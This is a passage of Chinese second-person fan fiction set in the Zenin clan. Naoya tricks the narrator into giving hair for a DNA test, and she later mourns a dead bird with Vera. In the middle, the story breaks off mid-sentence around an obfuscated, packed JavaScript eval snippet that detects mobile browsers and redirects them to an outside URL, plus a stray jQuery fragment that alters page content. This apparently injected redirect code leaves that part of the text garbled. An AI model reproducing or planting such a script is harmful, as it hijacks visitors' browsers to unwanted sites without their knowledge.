糟透了。真的是糟糕透顶。
直哉没想到,脑子缺根筋的你最后居然还能让话题重新绕回到他曾去过你的房间的这件事上——以你东一榔头西一棒槌的思考水平,难道不该早就把这件事情忘记了吗?
嗯……该怎么说呢,他真是一如既往地爱小瞧别人,尤其是你。
也完全没有注意到,莫名其妙跑去别人的房间里是多么一件无法被轻易忘记的重要大事。
总之现状就是这样了,你干脆了当地点破了最重要的大问题,直接把直哉架在了最尴尬的境地。眼下怎么看都没有能够用来扯开话题的话题了。
既然这样的话,那就——
“我想要拿到你的头发,带毛囊的那种,因为我听到了一个传闻。”
想要把最要紧的问题以最完美的方式糊弄过去,只需要保持一部分的诚实,再加上一丁点的谎言即可。
深谙此道的直哉随即露出了一副怜悯的面孔,皱着脸很心疼似的看你。谎言这就要派上用场了,他毫无愧疚感地说:“我听家里的长辈说,你不是五十里家的小孩,只是被捡来的孤儿而已。”
“哦。是吗?”
你眨眨眼,不知道是还在消化这个消息还是怎样,表情居然和听到此话之前完全一致,根本没有大受打击的模样,也看不出半点惊愕。但这也没什么让人好意外的,直哉比谁都知道你多没有良心——连诉说父母去世的事情都不会露出半点伤感表情的你,说不定根本就不存在正常人拥有的心脏。
必须承认,你确实没有惊讶,也不觉得这是可笑的无稽之谈。对于直哉的一家之言,其实你还挺认真的,所以你才会问他:“谁在说这种话?”
直哉耸耸肩膀,“就家里的大人啊。”
“哪位大人?我认识吗?”
你决心找到传闻的源头。
直哉感觉到自己糊弄不过去了,干脆继续捏造谎言,“我老爸咯。”
“我明白了。”你点点头,“我去找直毘人大人问问。”
说着,你这就准备走了。直哉赶紧拽你的袖子。
“我觉得我爸会和你说实话吗!对于你这种小家子气的好奇,他肯定都懒得搭理你。”直哉急匆匆地说,只想赶紧打消你过剩的行动,“知道吗,就是因为清楚我爸会怎么应对你的反应,所以我才要自己出手,来拿你的头发!”
你想了想,觉得必须坦白一件事:“我一点也不明白你想要我的头发做什么。”
“做基因检测,检验你究竟是不是你父母的孩子。”
直哉适时的在这时候叹气摇头,露出一副无比可惜的样子。
“我本来是想偷摸摸做掉这件事的。要是测出来你真的只是个被捡来的可怜蛋,我就可以随时随地拿这件事情来嘲笑你了。可惜你发现了我的目的,现在我没办法偷摸摸做这件事了——唉,真是骗不过你,你这家伙实在是太敏锐了。”
虽然直哉一点也不擅长夸别人——拜托,他一向是被夸赞的那一方好吗。不过,对你的虚假恭维倒是信手拈来,说得还挺情真意切。你轻而易举地相信了他的动机。
当然,你相信的也只有动机而已了。对于你不是五十里家的孩子这件事,你可不信。
“我肯定是我妈妈的女儿。”你可以断言,“我知道的,肯定是。”
你当然是你妈的女儿啦,可现在的问题是你爸会不会是我爸啊。直哉愤愤地想。
这念头决不能说出口,一旦诉说,肯定会把他刚才的一系列谎言一口气全部戳穿。他无语地笑了笑,都懒得哄你。
“谁知道呢,你爸妈那么早就死了,说不定都来不及告诉你关于身世的真相。”
“可我就是五十里家的孩子啊。”你依然坚持着这番说法,多少有点固执了。
直哉懒得和你争,口头占据上风可没用,真正能够说得响亮的永远只有事实而已。他干脆向你伸出手,叫你拔几根头发给他。
“要带毛囊,知道吗?”要求还挺高,“等检测报告出来不就知道了。”
“你说得对。但我一定是五十里家的小孩。”
“是是是我知道了你别说了。”
五根属于你的头发就这么来到了直哉手中,虽然到来的过程稍稍有点偏离轨道,好在算是达成了目标。接下来要编撰怎样的谎言,就等基因检测报告出来之后再决定了。在此之前,直哉知道自己还不能百分百放心。
不过,当事人的你倒是挺安心的。
正如你冥顽不化的固执,无论如何你都会认定自己是五十里家的血脉。妈妈无数次和你说过五十里家的故事,说你们的家族在很久很久之前曾是研究阴阳之术的阴阳师,到了近代也在持续着生物化学方面的研究,所以你的母亲才成为了生体研究机构的研究员。她说,你继承了她的姓氏,以后一定也会是称职的五十里。
话虽如此,称职的五十里该是怎样的呢?你没有概念。你也不清楚,成为咒术师的这条路会不会是妈妈渴望的,毕竟在与她相伴的时间里,你从没有听说过任何与咒术有关的内容。
如果走上的不是妈妈期望的道路,她会难过吗?你依然不知道。
稍稍有一些实感的,是你似乎有些难过。这是在来到禅院家之后,你第一次为你原本的家而感到难过。
你忽然很想念住在轻井泽五十里家时的冬天,爸爸会带你去工作踩雪,顺路绕到研究所接妈妈下班,她的同事们总是笑着看你,用目光送你走到好远。
简直是和如今截然不同的日子。
你仰头望天。今日是满月,和维拉说她不喜欢禅院家的那个夜晚差不多的月亮。你的脚步不自觉沉下来,大概是小鸟的亡魂正在拉拽着你的鞋底吧。
刚和直哉道别的时候,你还觉得心情不错,此刻已经不可避免地消沉起来了,拖沓的脚步迟迟地带你回去,刚迈过房门,就看到了四下张望的维拉。
她像是在寻找着什么,不停地在灌木丛下打转。
听到你的脚步声,她稍稍有些被吓到了,猛得打了个激灵,匆忙抬头看你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357222|197148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。你注意到她的脸色不算太好。
“你干嘛呢?”你问她。
“……你看到那只鸟了吗?”
啊,原来是在找小鸟。
你挠挠脑袋,心里稍稍冒出了一点犹豫。但对维拉撒谎也没有必要吧?这么想着,你把什么都说出来了,告诉她小鸟的死亡,以及你还没有找到真正的凶手。
“不过嫌疑人倒是有几个。”
维拉微不可查地战栗着,紧紧攥成拳头的双手根本无法停止抖动。“比如谁?谁是嫌疑人?”
“唔——健人之类的。”
好吧,你的心里其实只有一个嫌疑人而已,就是禅院健人没错。
维拉一下子不抖了,看起来像是松了口气。估计她也有和你一样的推测吧。
“现在,鸟在哪里?”她问。
“它最后的样子实在是太凄惨了,我怕你看到了会难过,所以就先埋起来了。你要去看看它吗?”
“……嗯。”
小鸟的葬身之处没有墓碑,连小土包也没有。它太小了,小到足够让大地毫无痕迹地将其囊括。维拉盯着几乎连翻动痕迹都要消失无踪的地面,沉默着不知道在想什么。你的大脑则是空空的,什么都没在想。
过了一会儿,你听到维拉说,它是一只很好的鸟。
“是啊。”你认同这一点,“对了,最后它会飞了吗?”
“……什么?”
“我记得你说今天要把它放生的,但不确定它的翅膀恢复得怎么样。我在想,要是在生命的最后一刻还没学会飞翔,好像还挺可怜的。”
总有种很微妙的不完整感。
维拉低着头,沉默了片刻。看来你的询问唐突了。可还来不及说点什么挽回的话,她已开口了。
“不会。”
她的声音干巴巴的,是伤感在作祟吧。
“它没能飞出禅院家。”
“这样啊……”
真是,让人伤心的结局呢。
“鸟都飞不出去的禅院家,我们谁也没可能离开的。”维拉忽然说,她一定是想到了自己,“我早就知道这种事了。”
你无法回答。可你忍不住想,或许你能够离开吧。
你从来都不是一个真正的“禅院”。你是五十里。
也可能不是。
能够解答这个问题的只有直哉了——没想到有朝一日还要仰仗他,想想真是有点微妙。
基因检测报告什么时候才能出来呢?你不确定,想来总要十天半个月吧。你每年的体检也要这么久才能得出结论。
既然有了预期,你决心不要表现得太多急切。话虽如此,你好像还是不可避免地有点过分想要知道结果。过了整整半个月都没有听到直哉提起这件事,你的目光已经忍不住在所有时候都黏在他的身上了。
终于,在二十天后,你干脆地堵住了他的去路。
“报告出来了吧?”
你果断地切入正题。
“快告诉我结论!”